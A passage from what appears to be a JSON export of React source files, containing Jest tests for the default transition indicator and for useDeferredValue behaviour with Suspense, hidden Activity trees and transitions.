default indicator while an async transition is ongoing', async () => {\n    let resolve;\n    const promise = new Promise(r => (resolve = r));\n    let start;\n    function App() {\n      const [, startTransition] = useTransition();\n      start = startTransition;\n      return 'Hi';\n    }\n\n    const root = ReactNoop.createRoot({\n      onDefaultTransitionIndicator() {\n        Scheduler.log('start');\n        return () => {\n          Scheduler.log('stop');\n        };\n      },\n    });\n    await act(() => {\n      root.render(<App />);\n    });\n\n    assertLog([]);\n\n    await act(() => {\n      // Start an async action but we haven't called setState yet\n      start(() => promise);\n    });\n\n    assertLog(['start']);\n\n    await act(async () => {\n      await resolve('Hello');\n    });\n\n    assertLog(['stop']);\n\n    expect(root).toMatchRenderedOutput('Hi');\n  });\n\n  // @gate enableDefaultTransitionIndicator\n  it('triggers the default indicator while an async transition is ongoing (isomorphic)', async () => {\n    let resolve;\n    const promise = new Promise(r => (resolve = r));\n    function App() {\n      return 'Hi';\n    }\n\n    const root = ReactNoop.createRoot({\n      onDefaultTransitionIndicator() {\n        Scheduler.log('start');\n        return () => {\n          Scheduler.log('stop');\n        };\n      },\n    });\n    await act(() => {\n      root.render(<App />);\n    });\n\n    assertLog([]);\n\n    await act(() => {\n      // Start an async action but we haven't called setState yet\n      React.startTransition(() => promise);\n    });\n\n    assertLog(['start']);\n\n    await act(async () => {\n      await resolve('Hello');\n    });\n\n    assertLog(['stop']);\n\n    expect(root).toMatchRenderedOutput('Hi');\n  });\n\n  it('does not triggers isomorphic async action default indicator if there are two different ones', async () => {\n    let resolve;\n    const promise = new Promise(r => (resolve = r));\n    function App() {\n      return 'Hi';\n    }\n\n    const root = ReactNoop.createRoot({\n      onDefaultTransitionIndicator() {\n        Scheduler.log('start');\n        return () => {\n          Scheduler.log('stop');\n        };\n      },\n    });\n    // Initialize second root. This is now ambiguous which indicator to use.\n    ReactNoop.createRoot({\n      onDefaultTransitionIndicator() {\n        Scheduler.log('start2');\n        return () => {\n          Scheduler.log('stop2');\n        };\n      },\n    });\n    await act(() => {\n      root.render(<App />);\n    });\n\n    assertLog([]);\n\n    await act(() => {\n      // Start an async action but we haven't called setState yet\n      React.startTransition(() => promise);\n    });\n\n    assertLog([]);\n\n    await act(async () => {\n      await resolve('Hello');\n    });\n\n    assertLog([]);\n\n    expect(root).toMatchRenderedOutput('Hi');\n  });\n\n  it('does not triggers isomorphic async action default indicator if there is a loading state', async () => {\n    let resolve;\n    const promise = new Promise(r => (resolve = r));\n    let update;\n    function App() {\n      const [state, setState] = useState(false);\n      update = setState;\n      return state ? 'Loading' : 'Hi';\n    }\n\n    const root = ReactNoop.createRoot({\n      onDefaultTransitionIndicator() {\n        Scheduler.log('start');\n        return () => {\n          Scheduler.log('stop');\n        };\n      },\n    });\n    await act(() => {\n      root.render(<App />);\n    });\n\n    assertLog([]);\n\n    await act(() => {\n      update(true);\n      React.startTransition(() => promise.then(() => update(false)));\n    });\n\n    assertLog([]);\n\n    expect(root).toMatchRenderedOutput('Loading');\n\n    await act(async () => {\n      await resolve('Hello');\n    });\n\n    assertLog([]);\n\n    expect(root).toMatchRenderedOutput('Hi');\n  });\n\n  it('should not trigger for useDeferredValue (sync)', async () => {\n    function Text({text}) {\n      Scheduler.log(text);\n      return text;\n    }\n    function App({value}) {\n      const deferredValue = useDeferredValue(value, 'Hi');\n      return <Text text={deferredValue} />;\n    }\n\n    const root = ReactNoop.createRoot({\n      onDefaultTransitionIndicator() {\n        Scheduler.log('start');\n        return () => {\n          Scheduler.log('stop');\n        };\n      },\n    });\n    await act(async () => {\n      root.render(<App value=\"Hello\" />);\n      await waitForPaint(['Hi']);\n      expect(root).toMatchRenderedOutput('Hi');\n    });\n\n    assertLog(['Hello']);\n\n    expect(root).toMatchRenderedOutput('Hello');\n\n    assertLog([]);\n\n    await act(async () => {\n      root.render(<App value=\"Bye\" />);\n      await waitForPaint(['Hello']);\n      expect(root).toMatchRenderedOutput('Hello');\n    });\n\n    assertLog(['Bye']);\n\n    expect(root).toMatchRenderedOutput('Bye');\n  });\n\n  // @gate enableDefaultTransitionIndicator\n  it('should not trigger for useDeferredValue (transition)', async () => {\n    function Text({text}) {\n      Scheduler.log(text);\n      return text;\n    }\n    function App({value}) {\n      const deferredValue = useDeferredValue(value, 'Hi');\n      return <Text text={deferredValue} />;\n    }\n\n    const root = ReactNoop.createRoot({\n      onDefaultTransitionIndicator() {\n        Scheduler.log('start');\n        return () => {\n          Scheduler.log('stop');\n        };\n      },\n    });\n    await act(async () => {\n      React.startTransition(() => {\n        root.render(<App value=\"Hello\" />);\n      });\n      await waitForPaint(['start', 'Hi', 'stop']);\n      expect(root).toMatchRenderedOutput('Hi');\n    });\n\n    assertLog(['Hello']);\n\n    expect(root).toMatchRenderedOutput('Hello');\n  });\n});\n"
  },
  {
    "path": "packages/react-reconciler/src/__tests__/ReactDeferredValue-test.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\n'use strict';\n\nlet React;\nlet ReactNoop;\nlet Scheduler;\nlet act;\nlet startTransition;\nlet useDeferredValue;\nlet useMemo;\nlet useState;\nlet Suspense;\nlet Activity;\nlet assertLog;\nlet waitForPaint;\nlet textCache;\n\ndescribe('ReactDeferredValue', () => {\n  beforeEach(() => {\n    jest.resetModules();\n\n    React = require('react');\n    ReactNoop = require('react-noop-renderer');\n    Scheduler = require('scheduler');\n    act = require('internal-test-utils').act;\n    startTransition = React.startTransition;\n    useDeferredValue = React.useDeferredValue;\n    useMemo = React.useMemo;\n    useState = React.useState;\n    Suspense = React.Suspense;\n    Activity = React.Activity;\n\n    const InternalTestUtils = require('internal-test-utils');\n    assertLog = InternalTestUtils.assertLog;\n    waitForPaint = InternalTestUtils.waitForPaint;\n\n    textCache = new Map();\n  });\n\n  function resolveText(text) {\n    const record = textCache.get(text);\n    if (record === undefined) {\n      const newRecord = {\n        status: 'resolved',\n        value: text,\n      };\n      textCache.set(text, newRecord);\n    } else if (record.status === 'pending') {\n      const thenable = record.value;\n      record.status = 'resolved';\n      record.value = text;\n      thenable.pings.forEach(t => t());\n    }\n  }\n\n  function readText(text) {\n    const record = textCache.get(text);\n    if (record !== undefined) {\n      switch (record.status) {\n        case 'pending':\n          Scheduler.log(`Suspend! [${text}]`);\n          throw record.value;\n        case 'rejected':\n          throw record.value;\n        case 'resolved':\n          return record.value;\n      }\n    } else {\n      Scheduler.log(`Suspend! [${text}]`);\n      const thenable = {\n        pings: [],\n        then(resolve) {\n          if (newRecord.status === 'pending') {\n            thenable.pings.push(resolve);\n          } else {\n            Promise.resolve().then(() => resolve(newRecord.value));\n          }\n        },\n      };\n\n      const newRecord = {\n        status: 'pending',\n        value: thenable,\n      };\n      textCache.set(text, newRecord);\n\n      throw thenable;\n    }\n  }\n\n  function Text({text}) {\n    Scheduler.log(text);\n    return text;\n  }\n\n  function AsyncText({text}) {\n    readText(text);\n    Scheduler.log(text);\n    return text;\n  }\n\n  it('does not cause an infinite defer loop if the original value isn\\t memoized', async () => {\n    function App({value}) {\n      // The object passed to useDeferredValue is never the same as the previous\n      // render. A naive implementation would endlessly spawn deferred renders.\n      const {value: deferredValue} = useDeferredValue({value});\n\n      const child = useMemo(\n        () => <Text text={'Original: ' + value} />,\n        [value],\n      );\n\n      const deferredChild = useMemo(\n        () => <Text text={'Deferred: ' + deferredValue} />,\n        [deferredValue],\n      );\n\n      return (\n        <div>\n          <div>{child}</div>\n          <div>{deferredChild}</div>\n        </div>\n      );\n    }\n\n    const root = ReactNoop.createRoot();\n\n    // Initial render\n    await act(() => {\n      root.render(<App value={1} />);\n    });\n    assertLog(['Original: 1', 'Deferred: 1']);\n\n    // If it's an urgent update, the value is deferred\n    await act(async () => {\n      root.render(<App value={2} />);\n\n      await waitForPaint(['Original: 2']);\n      // The deferred value updates in a separate render\n      await waitForPaint(['Deferred: 2']);\n    });\n    expect(root).toMatchRenderedOutput(\n      <div>\n        <div>Original: 2</div>\n        <div>Deferred: 2</div>\n      </div>,\n    );\n\n    // But if it updates during a transition, it doesn't defer\n    await act(async () => {\n      startTransition(() => {\n        root.render(<App value={3} />);\n      });\n      // The deferred value updates in the same render as the original\n      await waitForPaint(['Original: 3', 'Deferred: 3']);\n    });\n    expect(root).toMatchRenderedOutput(\n      <div>\n        <div>Original: 3</div>\n        <div>Deferred: 3</div>\n      </div>,\n    );\n  });\n\n  it('does not defer during a transition', async () => {\n    function App({value}) {\n      const deferredValue = useDeferredValue(value);\n\n      const child = useMemo(\n        () => <Text text={'Original: ' + value} />,\n        [value],\n      );\n\n      const deferredChild = useMemo(\n        () => <Text text={'Deferred: ' + deferredValue} />,\n        [deferredValue],\n      );\n\n      return (\n        <div>\n          <div>{child}</div>\n          <div>{deferredChild}</div>\n        </div>\n      );\n    }\n\n    const root = ReactNoop.createRoot();\n\n    // Initial render\n    await act(() => {\n      root.render(<App value={1} />);\n    });\n    assertLog(['Original: 1', 'Deferred: 1']);\n\n    // If it's an urgent update, the value is deferred\n    await act(async () => {\n      root.render(<App value={2} />);\n\n      await waitForPaint(['Original: 2']);\n      // The deferred value updates in a separate render\n      await waitForPaint(['Deferred: 2']);\n    });\n    expect(root).toMatchRenderedOutput(\n      <div>\n        <div>Original: 2</div>\n        <div>Deferred: 2</div>\n      </div>,\n    );\n\n    // But if it updates during a transition, it doesn't defer\n    await act(async () => {\n      startTransition(() => {\n        root.render(<App value={3} />);\n      });\n      // The deferred value updates in the same render as the original\n      await waitForPaint(['Original: 3', 'Deferred: 3']);\n    });\n    expect(root).toMatchRenderedOutput(\n      <div>\n        <div>Original: 3</div>\n        <div>Deferred: 3</div>\n      </div>,\n    );\n  });\n\n  it(\"works if there's a render phase update\", async () => {\n    function App({value: propValue}) {\n      const [value, setValue] = useState(null);\n      if (value !== propValue) {\n        setValue(propValue);\n      }\n\n      const deferredValue = useDeferredValue(value);\n\n      const child = useMemo(\n        () => <Text text={'Original: ' + value} />,\n        [value],\n      );\n\n      const deferredChild = useMemo(\n        () => <Text text={'Deferred: ' + deferredValue} />,\n        [deferredValue],\n      );\n\n      return (\n        <div>\n          <div>{child}</div>\n          <div>{deferredChild}</div>\n        </div>\n      );\n    }\n\n    const root = ReactNoop.createRoot();\n\n    // Initial render\n    await act(() => {\n      root.render(<App value={1} />);\n    });\n    assertLog(['Original: 1', 'Deferred: 1']);\n\n    // If it's an urgent update, the value is deferred\n    await act(async () => {\n      root.render(<App value={2} />);\n\n      await waitForPaint(['Original: 2']);\n      // The deferred value updates in a separate render\n      await waitForPaint(['Deferred: 2']);\n    });\n    expect(root).toMatchRenderedOutput(\n      <div>\n        <div>Original: 2</div>\n        <div>Deferred: 2</div>\n      </div>,\n    );\n\n    // But if it updates during a transition, it doesn't defer\n    await act(async () => {\n      startTransition(() => {\n        root.render(<App value={3} />);\n      });\n      // The deferred value updates in the same render as the original\n      await waitForPaint(['Original: 3', 'Deferred: 3']);\n    });\n    expect(root).toMatchRenderedOutput(\n      <div>\n        <div>Original: 3</div>\n        <div>Deferred: 3</div>\n      </div>,\n    );\n  });\n\n  it('regression test: during urgent update, reuse previous value, not initial value', async () => {\n    function App({value: propValue}) {\n      const [value, setValue] = useState(null);\n      if (value !== propValue) {\n        setValue(propValue);\n      }\n\n      const deferredValue = useDeferredValue(value);\n\n      const child = useMemo(\n        () => <Text text={'Original: ' + value} />,\n        [value],\n      );\n\n      const deferredChild = useMemo(\n        () => <Text text={'Deferred: ' + deferredValue} />,\n        [deferredValue],\n      );\n\n      return (\n        <div>\n          <div>{child}</div>\n          <div>{deferredChild}</div>\n        </div>\n      );\n    }\n\n    const root = ReactNoop.createRoot();\n\n    // Initial render\n    await act(async () => {\n      root.render(<App value={1} />);\n      await waitForPaint(['Original: 1', 'Deferred: 1']);\n      expect(root).toMatchRenderedOutput(\n        <div>\n          <div>Original: 1</div>\n          <div>Deferred: 1</div>\n        </div>,\n      );\n    });\n\n    await act(async () => {\n      startTransition(() => {\n        root.render(<App value={2} />);\n      });\n      // In the regression, the memoized value was not updated during non-urgent\n      // updates, so this would flip the deferred value back to the initial\n      // value (1) instead of reusing the current one (2).\n      await waitForPaint(['Original: 2', 'Deferred: 2']);\n      expect(root).toMatchRenderedOutput(\n        <div>\n          <div>Original: 2</div>\n          <div>Deferred: 2</div>\n        </div>,\n      );\n    });\n\n    await act(async () => {\n      root.render(<App value={3} />);\n      await waitForPaint(['Original: 3']);\n      expect(root).toMatchRenderedOutput(\n        <div>\n          <div>Original: 3</div>\n          <div>Deferred: 2</div>\n        </div>,\n      );\n      await waitForPaint(['Deferred: 3']);\n      expect(root).toMatchRenderedOutput(\n        <div>\n          <div>Original: 3</div>\n          <div>Deferred: 3</div>\n        </div>,\n      );\n    });\n  });\n\n  it('supports initialValue argument', async () => {\n    function App() {\n      const value = useDeferredValue('Final', 'Initial');\n      return <Text text={value} />;\n    }\n\n    const root = ReactNoop.createRoot();\n    await act(async () => {\n      root.render(<App />);\n      await waitForPaint(['Initial']);\n      expect(root).toMatchRenderedOutput('Initial');\n    });\n    assertLog(['Final']);\n    expect(root).toMatchRenderedOutput('Final');\n  });\n\n  it('defers during initial render when initialValue is provided, even if render is not sync', async () => {\n    function App() {\n      const value = useDeferredValue('Final', 'Initial');\n      return <Text text={value} />;\n    }\n\n    const root = ReactNoop.createRoot();\n    await act(async () => {\n      // Initial mount is a transition, but it should defer anyway\n      startTransition(() => root.render(<App />));\n      await waitForPaint(['Initial']);\n      expect(root).toMatchRenderedOutput('Initial');\n    });\n    assertLog(['Final']);\n    expect(root).toMatchRenderedOutput('Final');\n  });\n\n  it(\n    'if a suspended render spawns a deferred task, we can switch to the ' +\n      'deferred task without finishing the original one (no Suspense boundary)',\n    async () => {\n      function App() {\n        const text = useDeferredValue('Final', 'Loading...');\n        return <AsyncText text={text} />;\n      }\n\n      const root = ReactNoop.createRoot();\n      await act(() => root.render(<App />));\n      assertLog([\n        'Suspend! [Loading...]',\n        // The initial value suspended, so we attempt the final value, which\n        // also suspends.\n        'Suspend! [Final]',\n        ...(gate('enableParallelTransitions')\n          ? []\n          : [\n              // Existing bug: Unnecessary pre-warm.\n              'Suspend! [Loading...]',\n              'Suspend! [Final]',\n            ]),\n      ]);\n      expect(root).toMatchRenderedOutput(null);\n\n      // The final value loads, so we can skip the initial value entirely.\n      await act(() => resolveText('Final'));\n      assertLog(['Final']);\n      expect(root).toMatchRenderedOutput('Final');\n\n      // When the initial value finally loads, nothing happens because we no\n      // longer need it.\n      await act(() => resolveText('Loading...'));\n      assertLog([]);\n      expect(root).toMatchRenderedOutput('Final');\n    },\n  );\n\n  it(\n    'if a suspended render spawns a deferred task that suspends on a sibling, ' +\n      'we can finish the original task if the original sibling loads first',\n    async () => {\n      function App() {\n        const deferredText = useDeferredValue(`Final`, `Loading...`);\n        return (\n          <>\n            <AsyncText text={deferredText} />{' '}\n            <AsyncText text={`Sibling: ${deferredText}`} />\n          </>\n        );\n      }\n\n      const root = ReactNoop.createRoot();\n      await act(() => root.render(<App text=\"a\" />));\n      assertLog([\n        'Suspend! [Loading...]',\n        // The initial value suspended, so we attempt the final value, which\n        // also suspends.\n        'Suspend! [Final]',\n        'Suspend! [Sibling: Final]',\n        ...(gate('enableParallelTransitions')\n          ? [\n              // With parallel transitions,\n              // we do not continue pre-warming.\n            ]\n          : [\n              'Suspend! [Loading...]',\n              'Suspend! [Sibling: Loading...]',\n              'Suspend! [Final]',\n              'Suspend! [Sibling: Final]',\n            ]),\n      ]);\n      expect(root).toMatchRenderedOutput(null);\n\n      // The final value loads, so we can skip the initial value entirely.\n      await act(() => {\n        resolveText('Final');\n      });\n      assertLog(['Final', 'Suspend! [Sibling: Final]']);\n      expect(root).toMatchRenderedOutput(null);\n\n      // The initial value resolves first, so we render that.\n      await act(() => resolveText('Loading...'));\n      assertLog([\n        'Loading...',\n        'Suspend! [Sibling: Loading...]',\n        'Final',\n        'Suspend! [Sibling: Final]',\n        ...(gate('enableParallelTransitions')\n          ? [\n              // With parallel transitions,\n              // we do not continue pre-warming.\n            ]\n          : [\n              'Loading...',\n              'Suspend! [Sibling: Loading...]',\n              'Final',\n              'Suspend! [Sibling: Final]',\n            ]),\n      ]);\n      expect(root).toMatchRenderedOutput(null);\n\n      // The Final sibling loads, we're unblocked and commit.\n      await act(() => {\n        resolveText('Sibling: Final');\n      });\n      assertLog(['Final', 'Sibling: Final']);\n      expect(root).toMatchRenderedOutput('Final Sibling: Final');\n\n      // We already rendered the Final value, so nothing happens\n      await act(() => {\n        resolveText('Sibling: Loading...');\n      });\n      assertLog([]);\n      expect(root).toMatchRenderedOutput('Final Sibling: Final');\n    },\n  );\n\n  it(\n    'if a suspended render spawns a deferred task that suspends on a sibling,' +\n      ' we can switch to the deferred task without finishing the original one',\n    async () => {\n      function App() {\n        const deferredText = useDeferredValue(`Final`, `Loading...`);\n        return (\n          <>\n            <AsyncText text={deferredText} />{' '}\n            <AsyncText text={`Sibling: ${deferredText}`} />\n          </>\n        );\n      }\n\n      const root = ReactNoop.createRoot();\n      await act(() => root.render(<App text=\"a\" />));\n      assertLog([\n        'Suspend! [Loading...]',\n        // The initial value suspended, so we attempt the final value, which\n        // also suspends.\n        'Suspend! [Final]',\n        'Suspend! [Sibling: Final]',\n        ...(gate('enableParallelTransitions')\n          ? [\n              // With parallel transitions,\n              // we do not continue pre-warming.\n            ]\n          : [\n              'Suspend! [Loading...]',\n              'Suspend! [Sibling: Loading...]',\n              'Suspend! [Final]',\n              'Suspend! [Sibling: Final]',\n            ]),\n      ]);\n      expect(root).toMatchRenderedOutput(null);\n\n      // The final value loads, so we can skip the initial value entirely.\n      await act(() => {\n        resolveText('Final');\n      });\n      assertLog(['Final', 'Suspend! [Sibling: Final]']);\n      expect(root).toMatchRenderedOutput(null);\n\n      // The initial value resolves first, so we render that.\n      await act(() => resolveText('Loading...'));\n      assertLog([\n        'Loading...',\n        'Suspend! [Sibling: Loading...]',\n        'Final',\n        'Suspend! [Sibling: Final]',\n        ...(gate('enableParallelTransitions')\n          ? [\n              // With parallel transitions,\n              // we do not continue pre-warming.\n            ]\n          : [\n              'Loading...',\n              'Suspend! [Sibling: Loading...]',\n              'Final',\n              'Suspend! [Sibling: Final]',\n            ]),\n      ]);\n      expect(root).toMatchRenderedOutput(null);\n\n      // The initial sibling loads, we're unblocked and commit.\n      await act(() => {\n        resolveText('Sibling: Loading...');\n      });\n      assertLog([\n        'Loading...',\n        'Sibling: Loading...',\n        'Final',\n        'Suspend! [Sibling: Final]',\n      ]);\n      expect(root).toMatchRenderedOutput('Loading... Sibling: Loading...');\n\n      // Now unblock the final sibling.\n      await act(() => {\n        resolveText('Sibling: Final');\n      });\n      assertLog(['Final', 'Sibling: Final']);\n      expect(root).toMatchRenderedOutput('Final Sibling: Final');\n    },\n  );\n\n  it(\n    'if a suspended render spawns a deferred task, we can switch to the ' +\n      'deferred task without finishing the original one (no Suspense boundary, ' +\n      'synchronous parent update)',\n    async () => {\n      function App() {\n        const text = useDeferredValue('Final', 'Loading...');\n        return <AsyncText text={text} />;\n      }\n\n      const root = ReactNoop.createRoot();\n      // TODO: This made me realize that we don't warn if an update spawns a\n      // deferred task without being wrapped with `act`. Usually it would work\n      // anyway because the parent task has to wrapped with `act`... but not\n      // if it was flushed with `flushSync` instead.\n      await act(() => {\n        ReactNoop.flushSync(() => root.render(<App />));\n      });\n      assertLog([\n        'Suspend! [Loading...]',\n        // The initial value suspended, so we attempt the final value, which\n        // also suspends.\n        'Suspend! [Final]',\n        ...(gate('enableParallelTransitions')\n          ? [\n              // With parallel transitions,\n              // we do not continue pre-warming.\n            ]\n          : ['Suspend! [Loading...]', 'Suspend! [Final]']),\n      ]);\n      expect(root).toMatchRenderedOutput(null);\n\n      // The final value loads, so we can skip the initial value entirely.\n      await act(() => resolveText('Final'));\n      assertLog(['Final']);\n      expect(root).toMatchRenderedOutput('Final');\n\n      // When the initial value finally loads, nothing happens because we no\n      // longer need it.\n      await act(() => resolveText('Loading...'));\n      assertLog([]);\n      expect(root).toMatchRenderedOutput('Final');\n    },\n  );\n\n  it(\n    'if a suspended render spawns a deferred task, we can switch to the ' +\n      'deferred task without finishing the original one (Suspense boundary)',\n    async () => {\n      function App() {\n        const text = useDeferredValue('Final', 'Loading...');\n        return <AsyncText text={text} />;\n      }\n\n      const root = ReactNoop.createRoot();\n      await act(() =>\n        root.render(\n          <Suspense fallback={<Text text=\"Fallback\" />}>\n            <App />\n          </Suspense>,\n        ),\n      );\n      assertLog([\n        'Suspend! [Loading...]',\n        'Fallback',\n\n        // The initial value suspended, so we attempt the final value, which\n        // also suspends.\n        'Suspend! [Final]',\n        // pre-warming\n        'Suspend! [Final]',\n      ]);\n      expect(root).toMatchRenderedOutput('Fallback');\n\n      // The final value loads, so we can skip the initial value entirely.\n      await act(() => resolveText('Final'));\n      assertLog(['Final']);\n      expect(root).toMatchRenderedOutput('Final');\n\n      // When the initial value finally loads, nothing happens because we no\n      // longer need it.\n      await act(() => resolveText('Loading...'));\n      assertLog([]);\n      expect(root).toMatchRenderedOutput('Final');\n    },\n  );\n\n  it(\n    'if a suspended render spawns a deferred task that also suspends, we can ' +\n      'finish the original task if that one loads first',\n    async () => {\n      function App() {\n        const text = useDeferredValue('Final', 'Loading...');\n        return <AsyncText text={text} />;\n      }\n\n      const root = ReactNoop.createRoot();\n      await act(() => root.render(<App />));\n      assertLog([\n        'Suspend! [Loading...]',\n        // The initial value suspended, so we attempt the final value, which\n        // also suspends.\n        'Suspend! [Final]',\n        ...(gate('enableParallelTransitions')\n          ? [\n              // With parallel transitions,\n              // we do not continue pre-warming.\n            ]\n          : ['Suspend! [Loading...]', 'Suspend! [Final]']),\n      ]);\n      expect(root).toMatchRenderedOutput(null);\n\n      // The initial value resolves first, so we render that.\n      await act(() => resolveText('Loading...'));\n      assertLog([\n        'Loading...',\n        // Still waiting for the final value.\n        'Suspend! [Final]',\n      ]);\n      expect(root).toMatchRenderedOutput('Loading...');\n\n      // The final value loads, so we can switch to that.\n      await act(() => resolveText('Final'));\n      assertLog(['Final']);\n      expect(root).toMatchRenderedOutput('Final');\n    },\n  );\n\n  it(\n    'if there are multiple useDeferredValues in the same tree, only the ' +\n      'first level defers; subsequent ones go straight to the final value, to ' +\n      'avoid a waterfall',\n    async () => {\n      function App() {\n        const showContent = useDeferredValue(true, false);\n        if (!showContent) {\n          return <Text text=\"App Preview\" />;\n        }\n        return <Content />;\n      }\n\n      function Content() {\n        const text = useDeferredValue('Content', 'Content Preview');\n        return <AsyncText text={text} />;\n      }\n\n      const root = ReactNoop.createRoot();\n      resolveText('App Preview');\n\n      await act(() => root.render(<App />));\n      assertLog([\n        // The App shows an immediate preview\n        'App Preview',\n        // Then we switch to showing the content. The Content component also\n        // contains a useDeferredValue, but since we already showed a preview\n        // in a parent component, we skip the preview in the inner one and\n        // go straight to attempting the final value.\n        //\n        // (Note that this is intentionally different from how nested Suspense\n        // boundaries work, where we always prefer to show the innermost\n        // loading state.)\n        'Suspend! [Content]',\n      ]);\n      // Still showing the App preview state because the inner\n      // content suspended.\n      expect(root).toMatchRenderedOutput('App Preview');\n\n      // Finish loading the content\n      await act(() => resolveText('Content'));\n      // We didn't even attempt to render Content Preview.\n      assertLog(['Content']);\n      expect(root).toMatchRenderedOutput('Content');\n    },\n  );\n\n  it(\n    \"regression: useDeferredValue's initial value argument works even if an unrelated \" +\n      'transition is suspended',\n    async () => {\n      // Simulates a previous bug where a new useDeferredValue hook is mounted\n      // while some unrelated transition is suspended. In the regression case,\n      // the initial values was skipped/ignored.\n\n      function Content({text}) {\n        return (\n          <AsyncText text={useDeferredValue(text, `Preview ${text}...`)} />\n        );\n      }\n\n      function App({text}) {\n        // Use a key to force a new Content instance to be mounted each time\n        // the text changes.\n        return <Content key={text} text={text} />;\n      }\n\n      const root = ReactNoop.createRoot();\n\n      // Render a previous UI using useDeferredValue. Suspend on the\n      // final value.\n      resolveText('Preview A...');\n      await act(() => startTransition(() => root.render(<App text=\"A\" />)));\n      assertLog(['Preview A...', 'Suspend! [A]']);\n\n      // While it's still suspended, update the UI to show a different screen\n      // with a different preview value. We should be able to show the new\n      // preview even though the previous transition never finished.\n      resolveText('Preview B...');\n      await act(() => startTransition(() => root.render(<App text=\"B\" />)));\n      assertLog(['Preview B...', 'Suspend! [B]']);\n\n      // Now finish loading the final value.\n      await act(() => resolveText('B'));\n      assertLog(['B']);\n      expect(root).toMatchRenderedOutput('B');\n    },\n  );\n\n  it('avoids a useDeferredValue waterfall when separated by a Suspense boundary', async () => {\n    // Same as the previous test but with a Suspense boundary separating the\n    // two useDeferredValue hooks.\n    function App() {\n      const showContent = useDeferredValue(true, false);\n      if (!showContent) {\n        return <Text text=\"App Preview\" />;\n      }\n      return (\n        <Suspense fallback={<Text text=\"Loading...\" />}>\n          <Content />\n        </Suspense>\n      );\n    }\n\n    function Content() {\n      const text = useDeferredValue('Content', 'Content Preview');\n      return <AsyncText text={text} />;\n    }\n\n    const root = ReactNoop.createRoot();\n    resolveText('App Preview');\n\n    await act(() => root.render(<App />));\n    assertLog([\n      // The App shows an immediate preview\n      'App Preview',\n      // Then we switch to showing the content. The Content component also\n      // contains a useDeferredValue, but since we already showed a preview\n      // in a parent component, we skip the preview in the inner one and\n      // go straight to attempting the final value.\n      'Suspend! [Content]',\n      'Loading...',\n      // pre-warming\n      'Suspend! [Content]',\n    ]);\n    // The content suspended, so we show a Suspense fallback\n    expect(root).toMatchRenderedOutput('Loading...');\n\n    // Finish loading the content\n    await act(() => resolveText('Content'));\n    // We didn't even attempt to render Content Preview.\n    assertLog(['Content']);\n    expect(root).toMatchRenderedOutput('Content');\n  });\n\n  it('useDeferredValue can spawn a deferred task while prerendering a hidden tree', async () => {\n    function App() {\n      const text = useDeferredValue('Final', 'Preview');\n      return (\n        <div>\n          <AsyncText text={text} />\n        </div>\n      );\n    }\n\n    let revealContent;\n    function Container({children}) {\n      const [shouldShow, setState] = useState(false);\n      revealContent = () => setState(true);\n      return (\n        <Activity mode={shouldShow ? 'visible' : 'hidden'}>{children}</Activity>\n      );\n    }\n\n    const root = ReactNoop.createRoot();\n\n    // Prerender a hidden tree\n    resolveText('Preview');\n    await act(() =>\n      root.render(\n        <Container>\n          <App />\n        </Container>,\n      ),\n    );\n    assertLog(['Preview', 'Suspend! [Final]']);\n    expect(root).toMatchRenderedOutput(<div hidden={true}>Preview</div>);\n\n    // Finish loading the content\n    await act(() => resolveText('Final'));\n    assertLog(['Final']);\n    expect(root).toMatchRenderedOutput(<div hidden={true}>Final</div>);\n\n    // Now reveal the hidden tree. It should toggle the visibility without\n    // having to re-render anything inside the prerendered tree.\n    await act(() => revealContent());\n    assertLog([]);\n    expect(root).toMatchRenderedOutput(<div>Final</div>);\n  });\n\n  it('useDeferredValue can prerender the initial value inside a hidden tree', async () => {\n    function App({text}) {\n      const renderedText = useDeferredValue(text, `Preview [${text}]`);\n      return (\n        <div>\n          <Text text={renderedText} />\n        </div>\n      );\n    }\n\n    let revealContent;\n    function Container({children}) {\n      const [shouldShow, setState] = useState(false);\n      revealContent = () => setState(true);\n      return (\n        <Activity mode={shouldShow ? 'visible' : 'hidden'}>{children}</Activity>\n      );\n    }\n\n    const root = ReactNoop.createRoot();\n\n    // Prerender some content\n    await act(() => {\n      root.render(\n        <Container>\n          <App text=\"A\" />\n        </Container>,\n      );\n    });\n    assertLog(['Preview [A]', 'A']);\n    expect(root).toMatchRenderedOutput(<div hidden={true}>A</div>);\n\n    await act(async () => {\n      // While the tree is still hidden, update the pre-rendered tree.\n      root.render(\n        <Container>\n          <App text=\"B\" />\n        </Container>,\n      );\n      // We should switch to pre-rendering the new preview.\n      await waitForPaint([]);\n      await waitForPaint(['Preview [B]']);\n      expect(root).toMatchRenderedOutput(<div hidden={true}>Preview [B]</div>);\n\n      // Before the prerender is complete, reveal the hidden tree. Because we\n      // consider revealing a hidden tree to be the same as mounting a new one,\n      // we should not skip the preview state.\n      revealContent();\n      // Because the preview state was already prerendered, we can reveal it\n      // without any addditional work.\n      if (gate(flags => flags.enableYieldingBeforePassive)) {\n        // Passive effects.\n        await waitForPaint([]);\n      }\n      await waitForPaint([]);\n      expect(root).toMatchRenderedOutput(<div>Preview [B]</div>);\n    });\n    // Finally, finish rendering the final value.\n    assertLog(['B']);\n    expect(root).toMatchRenderedOutput(<div>B</div>);\n  });\n\n  it(\n    'useDeferredValue skips the preview state when revealing a hidden tree ' +\n      'if the final value is referentially identical',\n    async () => {\n      function App({text}) {\n        const renderedText = useDeferredValue(text, `Preview [${text}]`);\n        return (\n          <div>\n            <Text text={renderedText} />\n          </div>\n        );\n      }\n\n      function Container({text, shouldShow}) {\n        return (\n          <Activity mode={shouldShow ? 'visible' : 'hidden'}>\n            <App text={text} />\n          </Activity>\n        );\n      }\n\n      const root = ReactNoop.createRoot();\n\n      // Prerender some content\n      await act(() => root.render(<Container text=\"A\" shouldShow={false} />));\n      assertLog(['Preview [A]', 'A']);\n      expect(root).toMatchRenderedOutput(<div hidden={true}>A</div>);\n\n      // Reveal the prerendered tree. Because the final value is referentially\n      // equal to what was already prerendered, we can skip the preview state\n      // and go straight to the final one. The practical upshot of this is\n      // that we can completely prerender the final value without having to\n      // do additional rendering work when the tree is revealed.\n      await act(() => root.render(<Container text=\"A\" shouldShow={true} />));\n      assertLog(['A']);\n      expect(root).toMatchRenderedOutput(<div>A</div>);\n    },\n  );\n\n  it(\n    'useDeferredValue does not skip the preview state when revealing a ' +\n      'hidden tree if the final value is different from the currently rendered one',\n    async () => {\n      function App({text}) {\n        const renderedText = useDeferredValue(text, `Preview [${text}]`);\n        return (\n          <div>\n            <Text text={renderedText} />\n          </div>\n   